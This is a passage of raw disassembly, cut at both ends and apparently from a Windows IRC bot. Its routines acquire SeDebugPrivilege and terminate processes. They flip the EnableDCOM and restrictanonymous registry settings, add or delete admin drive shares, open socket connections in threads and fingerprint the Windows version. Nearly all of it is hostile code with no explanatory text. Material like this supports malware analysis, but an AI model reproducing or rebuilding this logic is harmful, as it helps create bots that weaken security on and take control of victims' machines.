dword_43A3D8 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_413F6F lea eax, [ebp+var_12C] mov [ebp+var_12C], 128h push eax push [ebp+var_4] call dword_43A3BC mov esi, dword_42106C test eax, eax jz loc_413F6A loc_413E75: ; CODE XREF: sub_413DD2+BEj ; sub_413DD2+CCj ... lea eax, [ebp+var_12C] push eax push [ebp+var_4] call dword_43A2D8 test eax, eax jz loc_413F6A cmp [ebp+arg_10], ebx jnz short loc_413E75 cmp [ebp+arg_C], ebx jnz loc_413F22 cmp [ebp+arg_4], ebx jz short loc_413E75 push [ebp+var_124] push 8 call dword_43A3D8 cmp [ebp+arg_14], ebx mov edi, eax mov [ebp+var_350], 224h jz short loc_413EDF lea eax, [ebp+var_350] push eax push edi call dword_43A284 push [ebp+var_124] test eax, eax jz short loc_413EE5 lea eax, [ebp+var_230] jmp short loc_413EEB ; --------------------------------------------------------------------------- loc_413EDF: ; CODE XREF: sub_413DD2+EBj push [ebp+var_124] loc_413EE5: ; CODE XREF: sub_413DD2+103j lea eax, [ebp+var_108] loc_413EEB: ; CODE XREF: sub_413DD2+10Bj push eax lea eax, [ebp+var_550] push offset aSD_0 ; " %s (%d)" push eax call sub_4154E7 add esp, 10h lea eax, [ebp+var_550] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h push edi call esi jmp loc_413E75 ; --------------------------------------------------------------------------- loc_413F22: ; CODE XREF: sub_413DD2+C3j push [ebp+arg_C] lea eax, [ebp+var_108] push eax call sub_415910 pop ecx test eax, eax pop ecx jnz loc_413E75 push [ebp+var_124] push ebx push 1F0FFFh call dword_42111C push [ebp+var_4] mov edi, eax call esi push ebx push edi call dword_421140 test eax, eax jnz short loc_413F65 push edi call esi jmp short loc_413F7C ; --------------------------------------------------------------------------- loc_413F65: ; CODE XREF: sub_413DD2+18Cj push 1 pop eax jmp short loc_413F7E ; --------------------------------------------------------------------------- loc_413F6A: ; CODE XREF: sub_413DD2+9Dj ; sub_413DD2+B5j push [ebp+var_4] call esi loc_413F6F: ; CODE XREF: sub_413DD2+75j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_413D67 pop ecx pop ecx loc_413F7C: ; CODE XREF: sub_413DD2+3Aj ; sub_413DD2+46j ... xor eax, eax loc_413F7E: ; CODE XREF: sub_413DD2+196j pop edi pop esi pop ebx leave retn sub_413DD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413F83 proc near ; DATA XREF: sub_40CE55+538Do var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset dword_437508 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_4154E7 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_413FE2 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_412D4C add esp, 14h loc_413FE2: ; CODE XREF: sub_413F83+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_413DD2 add esp, 18h test eax, eax jnz short loc_41400A push offset dword_4374CC jmp short loc_41400F ; --------------------------------------------------------------------------- loc_41400A: ; CODE XREF: sub_413F83+7Ej push offset dword_437494 loc_41400F: ; CODE XREF: sub_413F83+85j lea eax, [ebp+var_298] push eax call sub_4154E7 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_414042 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_412D4C add esp, 14h loc_414042: ; CODE XREF: sub_413F83+9Dj lea eax, [ebp+var_298] push eax call sub_40B16D push [ebp+var_14] call sub_4152AF pop ecx pop ecx push esi call dword_421048 pop edi pop esi sub_413F83 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_414061 proc near ; CODE XREF: sub_40CE55+477Bp ; sub_4150CE+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call dword_42111C mov esi, eax test esi, esi jz short loc_414093 push 0 push esi call dword_421140 test eax, eax jnz short loc_414093 push esi xor edi, edi call dword_42106C loc_414093: ; CODE XREF: sub_414061+1Aj ; sub_414061+27j mov eax, edi pop edi pop esi retn sub_414061 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414098 proc near ; CODE XREF: sub_4036D4+Ap ; sub_403C8B+16p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call sub_415543 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_421668 call sub_415F8C sub esi, eax mov eax, esi pop esi leave retn sub_414098 endp ; =============== S U B R O U T I N E ======================================= sub_4140C8 proc near ; CODE XREF: sub_414433+49p ; DATA XREF: .nsp0:off_437550o var_C = dword ptr -0Ch arg_0 = dword ptr 4 push esi push edi call dword_42104C push eax call sub_415539 mov edi, [esp+0Ch+arg_0] mov [esp+0Ch+var_C], offset dword_42C22C push offset aS_1 ; "%s" push 1Ch push edi call sub_415A6A xor esi, esi add esp, 10h cmp dword_42C1A0, esi jle short loc_414121 loc_4140FB: ; CODE XREF: sub_4140C8+57j call sub_415543 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_4375A4 push 1Ch push edi call sub_415A6A add esp, 14h inc esi cmp esi, dword_42C1A0 jl short loc_4140FB loc_414121: ; CODE XREF: sub_4140C8+31j mov eax, edi pop edi pop esi retn sub_4140C8 endp ; =============== S U B R O U T I N E ======================================= sub_414126 proc near ; CODE XREF: sub_40CE55+3D4Ep arg_0 = dword ptr 4 push ebx push esi push edi call dword_42104C push eax call sub_415539 pop ecx call sub_415543 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_42C1A0 test esi, esi jle short loc_414169 loc_414153: ; CODE XREF: sub_414126+41j call sub_415543 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_414153 loc_414169: ; CODE XREF: sub_414126+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_414126 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h call dword_42104C push eax call sub_415539 pop ecx lea eax, [ebp-8] mov esi, offset byte_4375AC push eax push esi call dword_42113C movsx eax, byte_4375AC push 41h pop ecx push 1 pop edx loc_4141AF: ; CODE XREF: .nsp0:004141BAj cmp eax, ecx jnz short loc_4141B6 mov [ebp-4], edx loc_4141B6: ; CODE XREF: .nsp0:004141B1j inc ecx cmp ecx, 5Bh jl short loc_4141AF push 61h pop ecx loc_4141BF: ; CODE XREF: .nsp0:004141CAj cmp eax, ecx jnz short loc_4141C6 mov [ebp-4], edx loc_4141C6: ; CODE XREF: .nsp0:004141C1j inc ecx cmp ecx, 7Bh jl short loc_4141BF mov edi, [ebp+8] push esi push 1Ch push edi call sub_415A6A xor esi, esi add esp, 0Ch cmp dword_42C1A0, esi jle short loc_41420B loc_4141E5: ; CODE XREF: .nsp0:00414209j call sub_415543 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_4375A4 push 1Ch push edi call sub_415A6A add esp, 14h inc esi cmp esi, dword_42C1A0 jl short loc_4141E5 loc_41420B: ; CODE XREF: .nsp0:004141E3j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call dword_42104C push eax call sub_415539 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call dword_421144 mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_4375B0 push 1Ch push edi call sub_415A6A xor esi, esi add esp, 10h cmp dword_42C1A0, esi jle short loc_414280 loc_41425A: ; CODE XREF: .nsp0:0041427Ej call sub_415543 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_4375A4 push 1Ch push edi call sub_415A6A add esp, 14h inc esi cmp esi, dword_42C1A0 jl short loc_41425A loc_414280: ; CODE XREF: .nsp0:00414258j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_438FDC mov dword ptr [ebp-94h], 94h call dword_42110C call dword_42104C push eax call sub_415539 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_41430A cmp dword ptr [ebp-8Ch], 0 jnz short loc_4142EA cmp dword ptr [ebp-84h], 1 jnz short loc_4142DA mov esi, offset a95 ; "95" loc_4142DA: ; CODE XREF: .nsp0:004142D3j cmp dword ptr [ebp-84h], 2 jnz short loc_414346 mov esi, offset aNt ; "NT" jmp short loc_414346 ; --------------------------------------------------------------------------- loc_4142EA: ; CODE XREF: .nsp0:004142CAj cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_4142FA mov esi, offset a98 ; "98" jmp short loc_414346 ; --------------------------------------------------------------------------- loc_4142FA: ; CODE XREF: .nsp0:004142F1j cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_414341 mov esi, offset aMe ; "ME" jmp short loc_414346 ; --------------------------------------------------------------------------- loc_41430A: ; CODE XREF: .nsp0:004142C1j cmp dword ptr [ebp-90h], 5 jnz short loc_414341 cmp dword ptr [ebp-8Ch], 0 jnz short loc_414323 mov esi, offset a2k ; "2K" jmp short loc_414346 ; --------------------------------------------------------------------------- loc_414323: ; CODE XREF: .nsp0:0041431Aj cmp dword ptr [ebp-8Ch], 1 jnz short loc_414333 mov esi, offset aXp ; "XP" jmp short loc_414346 ; --------------------------------------------------------------------------- loc_414333: ; CODE XREF: .nsp0:0041432Aj cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_4375BC jz short loc_414346 loc_414341: ; CODE XREF: .nsp0:00414301j ; .nsp0:00414311j mov esi, offset dword_42B7D0 loc_414346: ; CODE XREF: .nsp0:004142E1j ; .nsp0:004142E8j ... mov edi, [ebp+8] push esi push offset dword_4375B4 push 1Ch push edi call sub_415A6A xor esi, esi add esp, 10h cmp dword_42C1A0, esi jle short loc_41438A loc_414364: ; CODE XREF: .nsp0:00414388j call sub_415543 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_4375A4 push 1Ch push edi call sub_415A6A add esp, 14h inc esi cmp esi, dword_42C1A0 jl short loc_414364 loc_41438A: ; CODE XREF: .nsp0:00414362j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414390 proc near ; CODE XREF: sub_414433+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call dword_42104C xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_4143DF call dword_43A3C4 test eax, eax mov eax, offset dword_4375C8 jnz short loc_4143C8 mov eax, offset byte_438FDC loc_4143C8: ; CODE XREF: sub_414390+31j push eax push esi push offset dword_4375C0 lea eax, [ebp+var_1C] push 1Ch push eax call sub_415A6A add esp, 14h jmp short loc_4143FF ; --------------------------------------------------------------------------- loc_4143DF: ; CODE XREF: sub_414390+22j call dword_43A3C4 test eax, eax mov eax, offset dword_4375C8 jnz short loc_4143F3 mov eax, offset byte_438FDC loc_4143F3: ; CODE XREF: sub_414390+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_4154E7 pop ecx pop ecx loc_4143FF: ; CODE XREF: sub_414390+4Dj lea eax, [ebp+var_1C] push eax call sub_415CF0 pop ecx cmp eax, 2 pop esi jbe short loc_41442E push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_416F10 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_416D40 add esp, 18h loc_41442E: ; CODE XREF: sub_414390+7Dj mov eax, [ebp+arg_0] leave retn sub_414390 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414433 proc near ; CODE XREF: sub_40CB75+7Fp ; sub_40CCDD+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_43754C loc_41443F: ; CODE XREF: sub_414433+3Fj cmp [ebp+arg_C], 0 jz short loc_41445A lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_415910 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_414464 ; --------------------------------------------------------------------------- loc_41445A: ; CODE XREF: sub_414433+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_414464: ; CODE XREF: sub_414433+25j test eax, eax jnz short loc_414476 add esi, 14h inc edi cmp esi, offset dword_4375B0 jl short loc_41443F jmp short loc_414484 ; --------------------------------------------------------------------------- loc_414476: ; CODE XREF: sub_414433+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_437550[eax*4] pop ecx loc_414484: ; CODE XREF: sub_414433+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_414497 push [ebp+arg_0] call sub_414390 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_414497: ; CODE XREF: sub_414433+57j mov eax, [ebp+arg_0] pop ebp retn sub_414433 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41449C proc near ; DATA XREF: sub_414569+7Bo var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0B8h mov eax, [ebp+arg_0] push esi push edi push 2Ah pop ecx mov esi, eax lea edi, [ebp+var_B8] push 1 rep movsd pop esi mov [eax+0A4h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_415570 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_34] call dword_43A3B8 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_43A438 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41455A lea eax, [ebp+var_10] push 10h push eax push esi call dword_43A360 mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43F554[ecx], esi jz short loc_41455A push [ebp+var_34] push [ebp+var_28] call dword_43A444 push eax mov edi, offset dword_469284 push offset unk_4375CC push edi call sub_4154E7 push 0 lea eax, [ebp+var_B4] push [ebp+var_20] push edi push eax push [ebp+var_B8] call sub_412D4C push edi call sub_40B16D add esp, 28h loc_41455A: ; CODE XREF: sub_41449C+5Dj ; sub_41449C+7Ej push esi call dword_43A450 pop edi xor eax, eax pop esi leave retn 4 sub_41449C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_414569 proc near ; DATA XREF: sub_40CE55+34B1o var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 130h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Ah mov esi, ebx pop ecx lea edi, [ebp+var_B0] rep movsd mov esi, dword_421060 mov dword ptr [ebx+0A0h], 1 xor edi, edi loc_414597: ; CODE XREF: sub_414569+ECj push [ebp+var_2C] push [ebp+var_20] call dword_43A444 push eax lea eax, [ebp+var_130] push offset unk_437608 push eax call sub_4154E7 lea eax, [ebp+var_130] push 1FFh push eax mov eax, [ebp+var_24] imul eax, 234h add eax, offset dword_43F348 push eax call sub_416D40 add esp, 1Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_B0] push edi push eax push offset sub_41449C push edi push edi call dword_42108C cmp eax, edi mov [ebp+var_4], eax jz short loc_414603 loc_4145F8: ; CODE XREF: sub_414569+98j cmp [ebp+var_C], edi jnz short loc_414603 push 32h call esi jmp short loc_4145F8 ; --------------------------------------------------------------------------- loc_414603: ; CODE XREF: sub_414569+8Dj ; sub_414569+92j push [ebp+var_4] call dword_42106C push dword ptr [ebx+88h] mov [ebx+0A4h], edi call esi lea eax, [ebp+var_20] push 4 push eax lea eax, [ebp+arg_0] push eax call sub_4155D0 add esp, 0Ch push [ebp+arg_0] call dword_43A2EC inc eax push eax mov [ebp+arg_0], eax call dword_43A3B4 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax lea eax, [ebp+var_20] push eax call sub_4155D0 add esp, 0Ch jmp loc_414597 sub_414569 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41465A proc near ; DATA XREF: sub_40CE55+59A9o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_4146A1 call sub_4146BA jmp short loc_4146A6 ; --------------------------------------------------------------------------- loc_4146A1: ; CODE XREF: sub_41465A+3Ej call sub_4149DE loc_4146A6: ; CODE XREF: sub_41465A+45j add esp, 10h push [ebp+var_14] call sub_4152AF pop ecx push 0 call dword_421048 sub_41465A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4146BA proc near ; CODE XREF: sub_41465A+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_43A488, edi jnz loc_4147EC lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_43A428 test eax, eax jnz short loc_414745 mov ax, word_4379F0 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_43A3DC test eax, eax jz short loc_414727 push offset unk_4379AC jmp short loc_41472C ; --------------------------------------------------------------------------- loc_414727: ; CODE XREF: sub_4146BA+64j push offset dword_43797C loc_41472C: ; CODE XREF: sub_4146BA+6Bj lea eax, [ebp+var_214] push eax call sub_4154E7 pop ecx pop ecx push [ebp+var_4] call dword_43A394 jmp short loc_414758 ; --------------------------------------------------------------------------- loc_414745: ; CODE XREF: sub_4146BA+36j lea eax, [ebp+var_214] push offset unk_437938 push eax call sub_4154E7 pop ecx pop ecx loc_414758: ; CODE XREF: sub_4146BA+89j cmp [ebp+arg_C], edi jnz short loc_414777 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h loc_414777: ; CODE XREF: sub_4146BA+A1j lea eax, [ebp+var_214] push eax call sub_40B16D pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_43A428 test eax, eax jnz short loc_4147E5 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_43A3DC test eax, eax jz short loc_4147C7 push offset unk_4378D4 jmp short loc_4147CC ; --------------------------------------------------------------------------- loc_4147C7: ; CODE XREF: sub_4146BA+104j push offset unk_43788C loc_4147CC: ; CODE XREF: sub_4146BA+10Bj lea eax, [ebp+var_214] push eax call sub_4154E7 pop ecx pop ecx push [ebp+var_4] call dword_43A394 jmp short loc_4147FF ; --------------------------------------------------------------------------- loc_4147E5: ; CODE XREF: sub_4146BA+E2j push offset unk_43783C jmp short loc_4147F1 ; --------------------------------------------------------------------------- loc_4147EC: ; CODE XREF: sub_4146BA+13j push offset unk_4377F8 loc_4147F1: ; CODE XREF: sub_4146BA+130j lea eax, [ebp+var_214] push eax call sub_4154E7 pop ecx pop ecx loc_4147FF: ; CODE XREF: sub_4146BA+129j cmp [ebp+arg_C], edi jnz short loc_41481E push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h loc_41481E: ; CODE XREF: sub_4146BA+148j lea eax, [ebp+var_214] push eax call sub_40B16D cmp dword_43A4B0, edi pop ecx jnz loc_414999 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_414841: ; CODE XREF: sub_4146BA+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_43A304 cmp eax, edi mov [ebp+var_10], eax jz short loc_4148DE cmp eax, 0EAh jz short loc_4148DE mov esi, offset off_437648 loc_414872: ; CODE XREF: sub_4146BA+21Dj push dword ptr [esi] push edi call sub_41339D pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_414889 push offset unk_4377C0 jmp short loc_41488E ; --------------------------------------------------------------------------- loc_414889: ; CODE XREF: sub_4146BA+1C6j push offset unk_437780 loc_41488E: ; CODE XREF: sub_4146BA+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_415A6A add esp, 10h cmp [ebp+arg_C], edi jnz short loc_4148C1 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h loc_4148C1: ; CODE XREF: sub_4146BA+1EBj lea eax, [ebp+var_214] push eax call sub_40B16D add esi, 8 pop ecx cmp esi, offset dword_437668 jl short loc_414872 jmp loc_414976 ; --------------------------------------------------------------------------- loc_4148DE: ; CODE XREF: sub_4146BA+1AAj ; sub_4146BA+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41496D loc_4148ED: ; CODE XREF: sub_4146BA+2AFj mov edi, [esi] push edi call sub_4179DC cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_414962 push edi call sub_41328A push eax push 0 call sub_41339D add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41491C push offset unk_437748 jmp short loc_414921 ; --------------------------------------------------------------------------- loc_41491C: ; CODE XREF: sub_4146BA+259j push offset unk_437708 loc_414921: ; CODE XREF: sub_4146BA+260j lea eax, [ebp+var_214] push 200h push eax call sub_415A6A add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_414955 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h loc_414955: ; CODE XREF: sub_4146BA+27Fj lea eax, [ebp+var_214] push eax call sub_40B16D pop ecx loc_414962: ; CODE XREF: sub_4146BA+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_4148ED xor edi, edi loc_41496D: ; CODE XREF: sub_4146BA+22Dj push [ebp+var_8] call dword_43A448 loc_414976: ; CODE XREF: sub_4146BA+21Fj cmp [ebp+var_10], 0EAh jz loc_414841 lea eax, [ebp+var_214] push offset unk_4376CC push eax call sub_4154E7 pop ecx pop ecx pop ebx jmp short loc_4149AC ; --------------------------------------------------------------------------- loc_414999: ; CODE XREF: sub_4146BA+177j lea eax, [ebp+var_214] push offset unk_437688 push eax call sub_4154E7 pop ecx pop ecx loc_4149AC: ; CODE XREF: sub_4146BA+2DDj cmp [ebp+arg_C], edi jnz short loc_4149CA push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h loc_4149CA: ; CODE XREF: sub_4146BA+2F5j lea eax, [ebp+var_214] push eax call sub_40B16D pop ecx push 1 pop eax pop edi pop esi leave retn sub_4146BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4149DE proc near ; CODE XREF: sub_41465A:loc_4146A1p var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_43A488, ebx push esi jnz loc_414B0C lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_43A428 test eax, eax jnz short loc_414A69 mov ax, word_437BF8 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_43A3DC test eax, eax jz short loc_414A4B push offset unk_437BC0 jmp short loc_414A50 ; --------------------------------------------------------------------------- loc_414A4B: ; CODE XREF: sub_4149DE+64j push offset dword_437B90 loc_414A50: ; CODE XREF: sub_4149DE+6Bj lea eax, [ebp+var_220] push eax call sub_4154E7 pop ecx pop ecx push [ebp+var_4] call dword_43A394 jmp short loc_414A7C ; --------------------------------------------------------------------------- loc_414A69: ; CODE XREF: sub_4149DE+36j lea eax, [ebp+var_220] push offset unk_437938 push eax call sub_4154E7 pop ecx pop ecx loc_414A7C: ; CODE XREF: sub_4149DE+89j cmp [ebp+arg_C], ebx jnz short loc_414A9B push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h loc_414A9B: ; CODE XREF: sub_4149DE+A1j lea eax, [ebp+var_220] push eax call sub_40B16D pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_43A428 test eax, eax jnz short loc_414B05 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_43A3DC test eax, eax jz short loc_414AE7 push offset unk_437B40 jmp short loc_414AEC ; --------------------------------------------------------------------------- loc_414AE7: ; CODE XREF: sub_4149DE+100j push offset unk_437AF8 loc_414AEC: ; CODE XREF: sub_4149DE+107j lea eax, [ebp+var_220] push eax call sub_4154E7 pop ecx pop ecx push [ebp+var_4] call dword_43A394 jmp short loc_414B1F ; --------------------------------------------------------------------------- loc_414B05: ; CODE XREF: sub_4149DE+E2j push offset unk_437AA8 jmp short loc_414B11 ; --------------------------------------------------------------------------- loc_414B0C: ; CODE XREF: sub_4149DE+13j push offset unk_4377F8 loc_414B11: ; CODE XREF: sub_4149DE+12Cj lea eax, [ebp+var_220] push eax call sub_4154E7 pop ecx pop ecx loc_414B1F: ; CODE XREF: sub_4149DE+125j cmp [ebp+arg_C], ebx jnz short loc_414B3E push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h loc_414B3E: ; CODE XREF: sub_4149DE+144j lea eax, [ebp+var_220] push eax call sub_40B16D cmp dword_43A4B0, ebx pop ecx jnz loc_414CB0 push edi mov esi, offset off_437648 mov edi, 200h loc_414B62: ; CODE XREF: sub_4149DE+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_4132F1 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_414B7D push offset unk_437A74 jmp short loc_414B82 ; --------------------------------------------------------------------------- loc_414B7D: ; CODE XREF: sub_4149DE+196j push offset unk_437A38 loc_414B82: ; CODE XREF: sub_4149DE+19Dj lea eax, [ebp+var_220] push edi push eax call sub_415A6A add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_414BB1 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h loc_414BB1: ; CODE XREF: sub_4149DE+1B7j lea eax, [ebp+var_220] push eax call sub_40B16D add esi, 8 pop ecx cmp esi, offset off_437658 jl short loc_414B62 call dword_421148 test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_414C98 loc_414BDC: ; CODE XREF: sub_4149DE+2B4j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_414C8D cmp bl, 41h jz loc_414C8D movsx esi, bl push esi push offset aC_3 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_415A6A push esi push offset aC_2 ; "%c:\\" lea eax, [ebp+var_20] push 0Ah push eax call sub_415A6A add esp, 20h lea eax, [ebp+var_20] push eax call dword_43A418 cmp eax, 3 jnz short loc_414C8D lea eax, 